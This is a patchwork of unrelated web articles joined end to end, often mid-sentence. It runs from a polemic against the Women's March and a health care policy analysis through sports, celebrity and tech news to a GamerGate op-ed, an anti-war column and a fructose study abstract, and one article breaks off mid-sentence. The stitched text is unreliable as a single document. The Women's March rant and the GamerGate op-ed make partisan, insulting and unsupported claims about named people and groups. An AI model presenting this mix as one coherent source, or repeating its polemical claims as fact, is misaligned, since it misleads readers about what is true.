We can see that moving forward the press is intent on tearing the United States apart at the seams by constantly highlighting unrest and groups hate Trump because of the negative campaign Hillary ran. Hillary’s entire life has been a gender war and this march is her drowning glory. This protest is just part of a larger agenda that is turning everyone against everyone else. The New York Times reported that the women are protesting reproductive rights, which only the Supreme Court could possibly overrule and there is no likelihood of that, immigration and civil rights. Where are these only a women’s issue aside from the reproductive rights of abortion? Very strange:
The “march is the start of what organizers hope could be a sustained campaign of protest in a polarized America, unifying demonstrators around issues like reproductive rights, immigration and civil rights.”
There are the Slutwalks, which are protest taking the form of a march, primarily of young women, wearing revealing clothes often just underwear or sexy attire and scanty tops dressing like “sluts” to protest rape and how men look at them. I am sure Bill Clinton would love to be a judge for the best dress in those events. At least the Slutwalks are a woman’s issue. I fail to see how immigration and civil rights warrants signs such as “Pussy Power” being paraded around.
So here we have a president who has said NOTHING about reducing rights of CITIZENS. Yet we have people protesting for what? Let terrorists enter the country as what took place in Europe? Just ask for political asylum in Europe. We can organize a collection to buy everyone passage pretty fast.The Congressional Budget Office analysis of the Republican health care and tax cut bill that passed the House of Representatives last month is full of striking facts. But here’s a particularly telling one: The regulatory changes made at the behest of the far-right Freedom Caucus do succeed in yanking insurance coverage from 1 million fewer people than would have lost coverage under the original version of the American Health Care Act.
In exchange, government spending increases by $218 billion over a 10-year period — $218,000 per additional insured person. That’s a lot of money.
To really understand how much money it is, consider the AHCA’s provisions related to Medicaid. Here, 14 million people are expected to lose coverage, which ends up saving the government $884 billion. That comes out to about $60,000 per person — a far lower figure. In other words, if Republicans were willing to spend an extra $150 billion to reduce coverage loss by making their Medicaid cuts less savage, they could have earned themselves a far better CBO score on both coverage and deficit reduction.
But to do that they’d have to admit something that Republicans seem incapable of admitting: When it comes to health insurance, market-oriented solutions are the most expensive option.
Big government provides health insurance on the cheap
This is a reality centrist Democrats found themselves facing awkwardly when they sat down to write the Affordable Care Act in 2009.
Moderates liked the idea of subsidizing the purchase of private insurance more than they liked the idea of expanding a government insurance program. But they also liked the idea of spending less money rather than more. And it turned out that on a per patient basis, expanding Medicaid was cheaper than extending subsidies to buy private insurance. Democrats had to choose between their ideological aversion to government insurance and their ideological aversion to higher spending, and ultimately wound up deciding that a hefty dose of Medicaid expansion was a better idea than pushing the spending total up.
But this is exactly the point that Republicans — who are much more averse to federal social spending than even the most centrist Democrat — consistently refuse to acknowledge.
Almost across the board, government solutions are cheaper:
Health care is complicated, but the source of the big government price advantage is not. When the government acts as a giant health care buyer, it either formally through regulation or informally through purchasing power imposes price controls on the sellers of health care services.
The ordinary push and pull of consumer action in a marketplace isn’t able to do nearly as well because patients neither can nor want to approach health decisions like ordinary commercial transactions. It’s true that a free market approach works well enough for purely discretionary health services like Lasik or breast enhancement surgery, but these are exceptions that prove the rule — medical procedures that don’t address core health needs function fine as consumer commodities. Essential health care doesn't.
The Republican trilemma
None of which is to say that there’s no rational basis for opposing a purely state-run approach to health care. The more market mechanisms you put in place, the more choices consumers will have. More variety gives room for more innovation and more emphasis on customer service.
And, indeed, the higher costs of a private approach aren’t necessarily a bad thing. Higher costs for some mean higher profits for others, which ultimate incentivizes more R&D spending and other investments.
But there is a fundamental three-way tradeoff here between the amount of money that you spend, the number of people that you cover, and the extent to which you rely on market mechanisms. What conservative ideologues want to do is choose minimal government spending and maximum reliance on free markets, letting coverage wither in the wind. That’s why Michael Cannon of the libertarian Cato Institute launched his “Anti-Universal Coverage Club” 10 years ago to try to rally the faithful behind the cause of letting tens of millions of Americans go uninsured.
Practical Republican politicians don’t want to go there, however, because it’s morally hideous. Nobody who has to face the voters wants to own up to favoring a free market system in which huge swathes of the population can’t get care when they are sick. On the contrary, when GOP politicians need to make the case against Obamacare, what they normally do is complain that premiums are too high and coverage isn’t generous enough. But there are only two ways to address those issues: lean less on government solutions, or spend more money backed up by higher taxes.
Neither option is acceptable to Republicans, so they’re left with the AHCA solution — massive rollbacks in coverage that they try to paper over with a lot of handwaving.The deal between Anthem and AAA may see wrestlers from Lucha Underground appear on Impact … but The Sheet has learned they’re not allowed to portray their El Rey characters.
Sources with knowledge of the situation tell us El Rey officials are very happy with LU and optimistic about making another season of the show, once all the episodes they’ve filmed have been shown.
We’re told that because so many episodes have already been filmed, the network is way ahead of production and not in a rush to officially green-light the next season yet.
As for AAA’s new partnership with Impact, our sources say it’s possible for wrestlers from Lucha Underground to appear on Pop TV … as long as they don’t infringe on any of LU/El Rey’s intellectual property — which makes sense considering the company has been fighting Pentagon Jr and Fenix over the rights to their characters.
Ricochet aka Prince Puma tweeted about LU possibly allowing their talent to appear on Impact and said, “So they can randomly do IMPACT but I can’t do ROH?? Hummm???”South African bank Postbank was robbed of $6.7 million earlier this month. But the thieves didn't need masks and guns to pull off the job — just computers.
To pull off the heist, the hackers created a backdoor into one of the bank's computers. From that hacked computer, they were able to access the rest of the network and issue the commands to distribute the $6.7 million to different accounts owned by the thieves. Those accounts were promptly emptied via ATM visits.
Since the crime didn't raise any red flags with its automated fraud-detection programs, bank employees failed to notice the money was missing until the bank re-opened after the New Year's holiday.
The police and the South African government are currently investigating the crime. Because of the level of knowledge of the bank's security system, it is believed that the hackers were either employees or acting with an employee's assistance.
[Image credit: pasukaru76]
(Source)
This article was written by Fox Van Allen and originally appeared on Tecca
More from Tecca:NH bill would explicitly allow libraries to run Tor exit nodes
Inspired by the Library Freedom Project's uncompromising bravery in the face of a DHS threat against a town library in Kilton, NH, that was running a Tor exit node to facilitate private, anonymous communication, the New Hampshire legislature is now considering a bill that would explicitly permit public libraries to "allow the installation and use of cryptographic privacy platforms on public library computers for library patrons use."
NH HB 1508 was written by State Rep. Keith Ammon (R) and has six bipartisan co-sponsors.
Public libraries may allow the installation and use of cryptographic privacy platforms on public library computers for library patrons use. Cryptographic privacy software shall include Tor or other privacy software that encrypts user's information to protect it from surveillance or collection. Public libraries may also support infrastructure for cryptographic software that helps to promote a free and open Internet, such as running Tor relays. Public libraries shall not give records relative to use of cryptographic privacy software to a government agency without first providing written notice to the person in question.
New Hampshire bill allows public libraries to run Tor in the face of federal challenges
[Patrick Howell O'Neill/Daily Dot]
(Image: Tor Project)Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 15, 2016, 11:13 AM GMT / Updated June 15, 2016, 11:12 AM GMT / Source: Reuters By Reuters
Twitter has invested about $70 million in Berlin-based music service SoundCloud, technology website Re/code reported citing people familiar with the deal.
Twitter confirmed the investment, but did not provide any financial details.
A 3D-printed logo for Twitter is seen in this picture illustration made in Zenica, Bosnia and Herzegovina on January 26, 2016. REUTERS/Dado Ruvic/Illustration/File Photo
"Earlier this year we made an investment in SoundCloud through Twitter Ventures to help support some of our efforts with creators," Twitter chief executive Jack Dorsey said.
Soundcloud, a platform that enables people to upload and share music and other audio files, also confirmed that Twitter had made the investment.
Twitter's investment was part of a funding round expected to be in the range of $100 million, which would value SoundCloud at about $700 million, the Re/code report said.
The microblogging site has previously attempted to make a foray into music with the launch of Twitter Music in 2013, which was closed a year later. At the time, the company said that it would look for new ways to bring music based content to the service.With the ease of installing IP security cameras these days any IT consultant with half a brain should be adding cameras to their proposals as they are a nice simple way of generating extra revenue. The biggest issue these days is actually what to do once you have the cameras installed. Sure most of them can record to disk, but what if you are away from the office and want to do know right now what is happening on multiple locations? So far the answer is to bring up multiple web pages, its fairly clunky and doesn’t give you any real options, so what if you could manage multiple cameras very easily on your phone? Continue reading after the break to learn how Tiny DVR brings you this level of functionality.
What is Tiny DVR?
A DVR is a digital video recorder and while the app’s name is Tiny DVR it actually doesn’t really have any recording ability other than the ability to take a screen capture. Most IP surveillance camera systems come with some kind of recording software and even have alerting functions that can fire off instant messages and emails when movement is detected.
Where Tiny DVR comes in is not to handle to recording, but to be able to quickly access the cameras for real-time monitoring.
Now imagine you are sitting at home relaxing and you get a text message that a camera has detected movement back at the office, with Tiny DVR you can run an app and quickly see what is happening back in the office and decide if you need to take any action.
Main features:
Support for M-JPEG IP cameras and webcams of all major vendors
Support for up to 16 cameras simultaneously
Support for over 40 different cameras
Supports any webcam using custom M-JPEG/JPEG request
Multiple camera layouts (2×2, 3×3, 4×4, etc.)
Sequence mode
One click camera sharing by email
Control Pan/Tilt/Zoom cameras
Digital zoom
Snapshot to SD card
No ads
Tiny DVR provides multiple camera layouts from simple 1×1 to a handful of multiple camera layouts. Double-tapping on a particular view will open that view full screen. Double-tapping again anywhere on the screen will zoom into that spot and swiping up/down/left/right can control pan/tilt/zoom cameras. If you are in full screen mode, you can also start a slideshow mode which will switch between cameras automatically.
Is Tiny DVR For You?
If you need to manage one or multiple IP video cameras and are not always sitting in front of a computer, then you may well be able to take advantage of Tiny DVR. With up to 16 different cameras that you can configure, Tiny DVR can actually be quite a handy tool in a security office. Imagine security guards walking around with 7” Android pads and being able to monitor multiple locations while still walking around. With cheap Android-based tablets hitting the streets for around $150-$200, you could mount several on a desk for less than the cost of an LCD monitor and not have to have it connected to a computer.
Given that Tiny DVR will set you back a whopping $0.00…yup, that’s right, this is a FREE application, it can certainly make sense to use it when appropriate.
Rate & download: Tiny DVRLAS VEGAS – It's not unusual for there to be long lines outside the Apple Store on the lower level of Fashion Show Mall. Anytime a new iPhone, iPad or computer is released, it's shoulder to shoulder in the mall's Great Hall for hours.
There was no new iPhone or iPad on Wednesday, but the Great Hall outside of the Apple Store was overflowing with people once again.
This time, the star attraction was not a shiny new iPhone, but Ronda Rousey, the UFC women's bantamweight champion and burgeoning superstar. When Rousey has a fight scheduled, she's about as in demand as any iPhone.
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Rousey defends her belt Saturday in the co-main event of UFC 175 when she faces Alexis Davis in her third bout in six months.
She's quickly becoming the face of the UFC, if she isn't already.
Rousey faces Alexis Davis in the co-main event of UFC 175 on Saturday. (Getty Images)
"People love Ronda," UFC CEO Lorenzo Fertitta said. "People ask all the time what it takes to become a star, but there isn't a list of points you could write on a sheet of paper and say, 'Well, do this, this, this and this, and you'll be a big star.' There are people who have all those things, and they don't have that kind of passionate fan base.
"Ronda is one of those people who draws others to her. People want to see her and hear what she has to say. She has that 'it' factor that it takes to cross over and become a star."
Rousey has been asked dozens, if not hundreds, of times about her stardom and her place in the UFC's pecking order. While UFC management, particularly president Dana White, is outspoken in its belief about her stardom, Rousey often seems embarrassed by the line of questioning.
If she believes she's the UFC's biggest star, she's not saying.
Story continues
"How does someone say something like that about themselves," she said, laughing. "I mean, what kind of self-absorbed, egotist would you have to be to go around and say, 'Yeah, I'm the biggest star around here'? It's crazy. I worry about getting myself ready to fight and doing my job to help sell it and I let other people figure out who is or who isn't a star. It doesn't matter to me."
The one surprise this far into her career is that she has yet to land that major A-list sponsor. Rousey is among the most popular fighters in the world, as well as one of the most recognizable female athletes.
UFC lightweight champion Anthony Pettis just landed major sponsorship deals with Wheaties and Reebok.
But Rousey hasn't landed one of those deals yet, despite her fame as a fighter and her dual role as a movie star. She's made three movies and seems likely to end her MMA career sooner rather than later so she can make movies full-time.
She seems a perfect fit for many blue-chip companies, and hinted she has a big deal on the way. Most of the highest-paid athletes in the world make staggering amounts of money from sponsorships, frequently more than they earn from their sports salary.
Floyd Mayweather tops the 2014 Forbes list of the world's highest paid athletes, with earnings of $105 million. But Mayweather is the only athlete on the list to not earn endorsement income.
The next five highest-paid athletes – Cristiano Ronaldo, LeBron James, Lionel Messi, Kobe Bryant and Tiger Woods – earned a combined $149.7 million in salary or winnings, Forbes reported, and made $190 million in endorsement money.
Mega-endorsement money is one of the few areas in which Rousey is far behind her competition in a career that has seen her go from a largely unknown Olympic athlete to one of the most known professional athletes in the world.
"I have one really cool [endorsement deal] being finalized, but I'm not supposed to say anything yet," she said. "But I try purposely to keep my fighting attire bare. I don't want to look like a NASCAR driver. Whatever sponsors I do have, I want them to be really prominent.
"I can't predict the future, obviously, but I could possibly get to a point where I make more in sponsorships than I do from fighting. But listen: The UFC is very good to me and they pay me well and they pay me fairly. Most of my income comes directly from fighting, not from products or movies, and I'm fine with that."
White said that few UFC fighters are making big money from endorsements at this point. He said middleweight contender Vitor Belfort is making $2.7 million a year in endorsement money, which, if true, puts him in line with athletes like the Detroit Tigers' Miguel Cabrera and the Los Angeles Angels' Albert Pujols ($2 million apiece) and Formula 1 driver Lewis Hamilton ($3 million).
White said ex-middleweight champion Anderson Silva also makes significant money from endorsements, but he didn't know how much.
But he said he has no doubt Rousey will one day have a slew of blue-chip companies wanting her to endorse them.
Rousey, right, defeated Sara McMann in her last fight. (Getty Images)
"She's just a baby in this business, and there aren't a lot of fighters who are making that much at this point," White said. "But it's coming. She's huge already and getting bigger every day. The good thing about Ronda is, she's smart, she understands what is important, and she's patient and is willing to wait for the right deals."
In the meantime, she'll continue her incredible run as the UFC's women's champion. She's already as high as a 19-1 favorite over a fighter she says poses a major challenge to her.
Davis is an excellent kickboxer who has a black belt in Brazilian Jiu-Jitsu. She's won eight of her last nine and is, along with Rousey, one of just two women who have won three UFC fights.
Rousey said she was surprised by the big odds in her favor, but said she doesn't put much stock in them.
"She's a well-rounded fighter and she has a great ability to give out and endure a lot of punishment," Rousey said. "And she's the first jiu-jitsu black belt I've fought."
Rousey, though, is full of confidence and is utterly convinced she'll win the fight and keep her belt.
It will be on to more movies and, hopefully, other challenges. White said he's moving in on a deal to bring highly regarded women's boxing champion Holly Holm to the UFC to potentially pair against Rousey. He also said he's continuing to talk with Gina Carano's representatives about getting her to return to the sport.
"A Ronda-Gina fight would be massive, man," White said.
Indeed it would. But these days, every Rousey fight is massive. Saturday's gate will be over $5 million, White said. There's no doubt Rousey's presence on the card accounted for a significant portion of that.
She's like the human version of the new iPhone. Trot her out every few months and watch the long lines of people hopeful to catch a glimpse of her.
And though she may never make the kind of endorsement money that some of her peers in the Forbes list are making, White had a message for anyone who may think that way.
"I put no limits on her, because she breaks records and set trends all the time," he said. "You'd have to be a fool to think she can't [become a leading product endorser]. If she sets her mind to doing something, she usually does it. That's not just me saying it. Look at what she's done. The thing that's most amazing is she's just scratching the surface now. It's only going to get bigger and bigger."
More UFC coverage from Yahoo Sports:Image caption About 60% of Italians regularly eat mozzarella, statistics suggest
A batch of about 70,000 mozzarella balls which turned blue upon opening has been confiscated by food authorities in Italy, officials say.
The health ministry said it had activated the European "rapid alert" system to warn of possible contamination, and announced emergency control measures on the cheese.
The cheese - made in Germany for an Italian company - has been removed from shelves and samples sent for testing.
Mozzarella is Italy's favourite cheese.
About 60% of Italians regularly eat the soft, white cheese, according to the Italian farmers' group, Coldiretti.
The tainted mozzarella was spotted by a shopper in Turin, who noticed it take on a bluish tint when it was exposed to the air.
The woman then called the police, national media reported.
Health Minister Ferruccio Fazio alerted German authorities and the European Commission about the possible contamination.
Initial tests at an institute in Turin found the colouring to be caused by a bacterium, rather than toxic contamination, AFP reported.
Analysts suggested the colouring could also indicate the presence of copper, nickel or lead in the milk used to make the cheese, or the solution used to preserve it.
The cheese was made for an Italian company, which distributed it to discount supermarkets in the north of the country. Neither the German producer nor the Italian company involved have been named.Rachel Bilson and Hayden Christensen have split after nearly ten years together, a source exclusively confirms to Us Weekly. “She’s full-time back in L.A. He’s in Toronto,” says the insider. “They’ve been on the outs for a couple of months.”
Celebrity Splits of 2017
The source adds: “They are completely, officially done.”
The actors first met on set of their 2008 film Jumper and got engaged that December. They quietly called off their engagement in August 2010, only to reconcile three months later.
Bilson gave birth to their daughter, Briar Rose, in October 2014. “Hayden Christensen and Rachel Bilson welcome their daughter Briar Rose Christensen born on October 29, 2014,” her rep told Us Weekly in a statement at the time. “Both mother and baby are healthy and doing well.”
Their little girl’s moniker is a nod to the duo’s mutual love of Disney. “There’s a Disney reference there I suppose,” Christensen said during an appearance on Hallmark Channel’s Home & Family in August 2015. “The original Sleeping Beauty is called Briar Rose. Rachel — we both love Disney — but Rachel especially was very keen on the name.”
Bilson, 36, and Christensen, 36, have kept their relationship private throughout their years, however the Hart of Dixie alum gushed about her life with the Shattered Glass actor in a May 2013 interview with Cosmopolitan. “I’m a really good girlfriend — I always put all that first in my life. I’m definitely the person who would make him his favorite dinner to come home to,” Bilson said at the time. “I love to cook, so we make dinner at home a lot and watch movies.”
Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox!
Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!TODAY’S COMIC: “Very Far”
I guess it makes sense that a kid’s imaginary friend can’t be very far from him/her. It would probably have to be within think-shot of the kid. Wouldn’t it be awesome if some day technology was so advanced we could capture our imaginary friends like Pokemon and trade them with our playground friends?
A couple weekends ago I uploaded a lot of stuff to the Skitter Patreon account. It’s all stuff you guys are paying for. Problem is, every time I upload something, Patreon sends you guys an email. Some of you probably got more than 15 emails.
If you’re like me… and I know you are… you hate spam. I don’t want to be spammy, so I contacted Patreon. They said there is no way for me to post something and NOT send an email, but there IS a way for you subscribers to turn off email notifications from me. That might be a good idea. I won’t be upset if you do. I’ll still be announcing new content through social media and you can always just log into Patreon to check for anything new.
There is another option, however. At the beginning of each month, I could just upload the files to Dropbox and post a link to that directory for you to browse. That means one email for each category of content per month. Early comics? One email. Pencil art? One email. Videos? One email. That’s way better than 15+ emails in one week.
I guess what I’m asking is to please have a little patience with me as I figure things out.
Anyways… enjoy today’s comic!
John
If you’d like to upvote this comic on Reddit, I’ll be your imaginary friend!
↓ Transcript VERY FAR
JACK: "Can Gary play at our house today?"
LUNA: "I don't think imaginary friends can be very far from their kid. Why?"
JACK: "Nevermind..."
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RedditLeBron James describes what his mindset is prior to the Cavaliers playing the Raptors in Game 5 of the Eastern Conference finals. (0:32)
INDEPENDENCE, Ohio -- After all the heartbreak Cleveland has been through as a pro sports city, seeing the Cavaliers drop Games 3 and 4 of the Eastern Conference finals to the Toronto Raptors has caused some to wonder if panic is setting in.
LeBron James, for one, appears impervious to such a suggestion.
Editor's Picks Cavaliers looking to find substance in the cliché The Cavs had control of their series with the Raptors. Until they didn't. Now a best-of-three showdown has Cleveland looking for answers heading into Game 5 (8:30 ET on ESPN & WatchESPN).
2016 NBA conference championship series betting odds ESPN Chalk breaks down the betting odds for the NBA conference finals, courtesy of the Westgate Las Vegas SuperBook. 1 Related
"Just a sense of calmness," James, speaking after the Cavs' shootaround Wednesday morning, said of his mindset in preparation for Game 5. "That's all. Just a very calm moment for myself, personally. I relish this opportunity to be a part of the postseason once again, to be 2-2 on my home floor, so, a sense of calmness."
James has good reason to stay even-keeled. For his career, his teams have gone 6-6 in Game 5s with the series tied 2-2. He has averaged 32 points, 8.6 rebounds and 6.8 assists in those games.
"I've been on both sides, I've been on the side that's went up 3-2, I've been on the side that's went down 3-2," James said. "When the series is tied 2-2, that's a pivotal game. Obviously. We all know that. We want to come out with the mindset and the understanding of how important this game is to both teams and have a sense of urgency from the beginning."
James is 17-0 in series during which his team has taken a 2-0 lead, like the Cavaliers had against the Raptors.
James is averaging 25 points, 8.5 rebounds and 6.5 assists in the conference finals while shooting 64.4 percent from the field. When asked what he thinks about some calling for him to do even more to help the Cavs succeed, James replied, "I'll let you answer that."
Las Vegas certainly isn't panicking about the Cavs' predicament. Bovada updated its championship odds Wednesday to put Cleveland as |
it was a family argument created by bad journalism. Bad journalism didn’t just report on GamerGate in all the shoddy and unacceptable ways you’ve already heard about. Gaming journalism started the whole schism in the first place, by insulting and ridiculing readers and handing its moral compass over to highly questionable people with axes to grind and wacky activist politics designed to divide.
Then it drove a wedge down the middle of its own base of readers by cruelly, and in the absence of fact or justification, calling one side the most appalling names, while credulously, assiduously and reflexively supporting some of the most obviously and ostentatiously unreliable people in the history of journalistic sourcing.
Even worse, the war was precipitated by people who don’t even play, or much care about, video games. Anita Sarkeesian admits, in footage you can find online but she’ll never acknowledge, that she’s not a gamer and doesn’t particularly like video games. That story changed dramatically when she was given space in the New York Times. She suddenly remembered a whole childhood she’d previously forgotten about in which not only was she a GameBoy addict but she was also, implausibly, very much aware of how Tetris was, like, really male-oriented. Or something, who knows.
The people GamerGate calls “social justice warriors” – the feminist activists, bloggers and so on – annoy gamers in part because so few of them really give a damn about gaming. Some call themselves “developers” without having ever released anything of substance. The press doesn’t know, and doesn’t bother to find out, how credible these claims are.
When GamerGate gave birth to a now-infamous Law and Order: Special Victims Unit episode, it wasn’t gamers who’d wet the bed. It was journalists. That hour of television did more to damage the image of the gaming industry than anything gamers had ever done. And the media made it happen.
It also reinforced the most persistent myth in all of this: that gaming is a terrible place for women to be. Now, I can’t tell you the pathology that leads some of the most female and minority-friendly spaces in the world to become guilt-ridden and obsessed with diversity, quotas and inclusion.
But I’ve seen it before. I started my reporting career in the startup world – London and Silicon Valley – and the same is true of the Facebooks, Twitters and Snapchats of this world. They’re some of the best places you could ever get a job as a woman. But for some reason the startup industry, just like gaming, is convinced that there’s an epidemic of violent misogyny. It’s just not true.
Yet that Law and Order episode gave the impression to women that gaming was a hostile place for them to be. Most women aren’t strident gender activists brandishing placards and blog posts about micro-aggressions.
If they hear an industry is a terrible place to go for women, they’ll simply quietly avoid it. That’s what gaming journalism has achieved through a combination of negligence and malice: it has convinced the world that gaming is a scary place for a woman to be. I’ve received I would estimate between 50 and 100 emails from women, in gaming, female critics of the gender warriors, saying that’s simply not the industry they wake up to every day.
So journalists are doubly responsible in the case of GamerGate, both for creating the situation in the first place and then constantly inflaming it.
Specifically, I think gamers were subjected to six unacceptable journalistic injustices.
The worst elements in GamerGate were taken as prima facie evidence of what the authentic heart of the movement was like. We don’t do that for any other movement, whether Occupy, Black Lives Matter or even, when you think about it, Islamic terrorism. Only GamerGate.
Worse, uniquely to GamerGate, there is no evidence that these “worst elements” were even part of the movement, had anything to do with it, knew any of the people driving the movement, or believed in its objectives. Both sides have admitted that third-party trolls have been active throughout. But only anti-GamerGate is given the benefit of the doubt. Why?
GamerGate, again, uniquely in the history of hashtag movements, was never given the right to defend or define itself. We bend over backwards to describe Occupy and Black Lives Matter in terms acceptable to those movements – to give them self-determination and agency. That was denied to GamerGate, because the subject at hand was press ethics, and journalists didn’t want to admit they had a point
Based on my year of reporting on this subject I believe some journalists in the gaming industry actively suppressed evidence – facts they must have known about – in order to present a narrative that did not cohere with reality. They systematically ignored not just the stated objectives of the movement but evidence that GamerGate supporters were being subjected to bullying, harassment, doxing, swatting, threats and even real-life intimidation. It’s now well known that I had an unsheathed syringe, a dead animal and a razor blade in the mail. Kotaku had to be publicly shamed into acknowledging any of this. If my reporting had been sympathetic to the other side of the debate, it would have been headline news. For those who like to keep score, it’s also worth remembering that the only bomb threat considered credible by the police in the history of GamerGate wasn’t directed at Anita Sarkeesian, but against a well-mannered meetup of gamers I organised in Washington DC.
GamerGate victims have been subjected to a class war they didn’t want and didn’t start. Journalism is supposed to give a voice to the voiceless. In this instance it failed completely to identify the real victims and went on a crusade against an innocent party.
Finally, as we’ve seen from the GameJournoPros revelations, journalists actively conspired with one another to shift the Overton window dramatically on this subject, making it professionally dangerous simply to report facts, as they had been doing for a decade on related subjects. As journalists, we have a word for environments in which it is dangerous to report true facts or question the establishment consensus, don’t we?
With GamerGate, Conservatives missed an opportunity to explore a new front in the culture wars because it didn’t have the courage to consider whether its history of demonising video games might have been a mistake.
And progressives screwed up by allowing narrative to triumph over fact. We’ve seen elsewhere – in Rolling Stone, the Duke Lacrosse case and the case of Mattress Girl Emma Sulkowicz, the devastating consequences that can have.
Journalists lost sight of who the powerful and who the powerless were in this debate. They mistook the double-speak and grievance culture of professional activists for women in need, and accepted that a disproportionately male culture simply must have something wrong with it.
This shames our profession greatly. If the future of journalism is picking a side before the facts are in and wantonly, wilfully, mercilessly bullying other people – if it’s activism over fact-based reporting – then I’m out. I’ll go be a comedian or a hair salon receptionist or something.
Great art asks questions. It provokes and challenges us.
Art is not circumscribed by one person’s hurt feelings or opinion on what might be “harmful.” All GamerGate is asking for is the right to pursue its own truth and, sure, it’s own pleasure, in its own way.
But when a small but tight-knit cabal of people, all of whom think identically, all of whom are determined to defame ordinary consumers and become professional nuisances to the industry they profess to love, the chilling effects can be devastating.
That’s what happened here. And it’s a testament to the extraordinary, brilliant resilience of gamers that a year on, despite every conceivable bad word being hurled at them, they remain unbowed. Today, they’re asking you to look again.
Gaming culture is messy, and sarcastic, and full of bitching and banter and backstabbing and memes and one-upmanship. It’s also precious, and fragile, and desperately important for the many marginalised voices and people who depend on it for safety and security.
Some of those marginalised people don’t look like you think they will. But that doesn’t mean they don’t rely on the culture they’ve built to sustain, nurture and protect them. Gaming culture is its own unique kind of safe space. And journalists should be exploring and celebrating that, not callously and mendaciously attempting to destroy it.
Follow Milo Yiannopoulos (@Nero) on Twitter and Facebook. He’s a hoot! Android users can download Milo Alert! to be notified about new articles when they are published.
https://twitter.com/Nero/status/632641367752212480
https://twitter.com/TheKroMang/status/632632013187477505A Budweiser commercial during the Super Bowl, that annual celebration of violence as sport, featured a most joyous homecoming for a U.S. veteran of the Afghan War. It was a fitting tribute to the fact that he survived, but you would have to be drunk on Bud not to notice that the three decades since the United States first meddled in Afghanistan have been an unequivocal disaster and that those who did not survive -- NATO combatants and far larger number of Afghan natives -- died in vain.
This was a point made clearly but largely unnoticed on that day of obligatory patriotic flag waving in an interview with Hamid Karzai, the U.S. anointed leader of Afghanistan, who told British newspaper The Sunday Times of London that "I saw no good" resulting from yet another American adventure in imperial democracy:
"This whole 12 years was one of constant pleading with America to treat the lives of our civilians as lives of people," Karzai stated, continuing his denunciation of the terror of anti-terrorism exemplified by Bush's orgy of torture followed by Obama's drone attacks that traumatize the Afghan countryside. Karzai, no stranger to corruption and contradiction, has refused to sign a pact authorizing a continued and much reduced U.S. presence in his country unless all such unilateral military attacks on his people are ended. As for the Taliban enemy that the U.S. invasion had temporarily deposed, Karzai referred to them as "brothers" while he dismissed his erstwhile American sponsors as "rivals," indicating that Obama now has his own "mission accomplished" embarrassment.
Maybe that dismal outcome of the Obama-ordered surge, comparable to the ultimate failure of Bush's in Iraq, is why Karzai observed that he and Obama have not spoken directly since June. For the Democratic hawks, Afghanistan was going to be the good war, but Obama has learned, as did then-President Jimmy Carter more than 30 years ago, that the Afghans are not to be toyed with.
In Carter's case back in the late 1970s, he was convinced by Zbigniew Brzezinski, the president's terminally confident national security adviser, that supporting Muslim extremists to overthrow a secular pro-Soviet government in power in Kabul would draw our main international adversary into its version of our Vietnam quagmire. What fun but the strategy failed, and the Soviets didn't invade until the U.S. imported sufficient foreign fighters to destabilize a country on their border.
When Obama, back in December 2009, launched a troop "surge" in Afghanistan, he argued that "we did not ask for this fight," but of course we did. To know that, all he had to do was ask his then-Defense Secretary Robert Gates, who had been an adviser to Carter and, in a 1996 memoir, exposed "Carter's never-before-revealed covert support to Afghan mujahedeen six months before the Soviets invaded."
After Gates' admission, French magazine Le Nouvel Observateur asked Brzezinski whether he regretted "having given arms and advice to future terrorists," and he replied: "What is most important to the history of the world? The Taliban or the collapse of the Soviet Empire? Some stirred up Muslims or the liberation of Central Europe and the end of the Cold War?"
He said that in 1998, and three years later, "some stirred up Muslims" flew hijacked planes into the World Trade Center and the Pentagon. The eradication of their movement became our national obsession, one that justified raising U.S. military expenditures back to the highest levels of the Cold War, even though there was no technologically significant enemy to justify this restoration of the power and the glory of the military-industrial complex.
In the process, we have come to sacrifice the basic rights of the individual enshrined in our Constitution in the name of finding what our last president, in his comic book lingo, termed the "evildoers," without ever conceding that they were once, as President Reagan defined them, our "freedom fighters." Bush's vice president, Dick Cheney, a former top exec at defense contractor Halliburton, must have chuckled at that one, knowing full well that a primitive enemy holed up in mountain caves could not justify blowing trillions on the most sophisticated oceangoing aircraft carriers, stealth fighters and other relics of an era when we had a militarily significant enemy.
It seemed to make sense only when both Republican Bush and Democrat Obama, in Afghanistan and Iraq, invoked the imagery of democratic nation building but instead exploited sectarian and tribal differences. Those efforts succeeded only in upending what remained of the stabilizing social order in both countries and have unleashed a never-ending cycle of violence providing invaluable propaganda for the al-Qaeda elements we claimed to be eradicating.
"The money they should have paid to the police," Karzai said, "they paid to private security firms and creating militias who caused lawlessness, corruption and highway robbery. What they did was create pockets of wealth and a vast countryside of deprivation and anger."Abstract Though adolescents consume more fructose than any other age group, the relationship between fructose consumption and markers of cardiometabolic risk has not been established in this population. We determined associations of total fructose intake (free fructose plus one-half the intake of free sucrose) with cardiometabolic risk factors and type of adiposity in 559 adolescents aged 14–18 y. Fasting blood samples were measured for glucose, insulin, lipids, adiponectin, and C-reactive protein. Diet was assessed with 4–7 24-h recalls and physical activity (PA) was determined by accelerometry. Fat-free soft tissue (FFST) mass and fat mass were measured by DXA. The s.c. abdominal adipose tissue (SAAT) and visceral adipose tissue (VAT) were assessed using MRI. Multiple linear regression, adjusting for age, sex, race, Tanner stage, FFST mass, fat mass, PA, energy intake, fiber intake, and socioeconomic status, revealed that fructose intake was associated with VAT (β = 0.13; P = 0.03) but not SAAT (P = 0.15). Significant linear upward trends across tertiles of fructose intake were observed for systolic blood pressure, fasting glucose, HOMA-IR, and C-reactive protein after adjusting for the same covariates (all P-trend < 0.04). Conversely, significant linear downward trends across tertiles of fructose intake were observed for plasma HDL-cholesterol and adiponectin (both P-trend < 0.03). When SAAT was added as a covariate, these trends persisted (all P-trend < 0.05). However, when VAT was included as a covariate, it attenuated these trends (all P-trend > 0.05). In adolescents, higher fructose consumption is associated with multiple markers of cardiometabolic risk, but it appears that these relationships are mediated by visceral obesity.
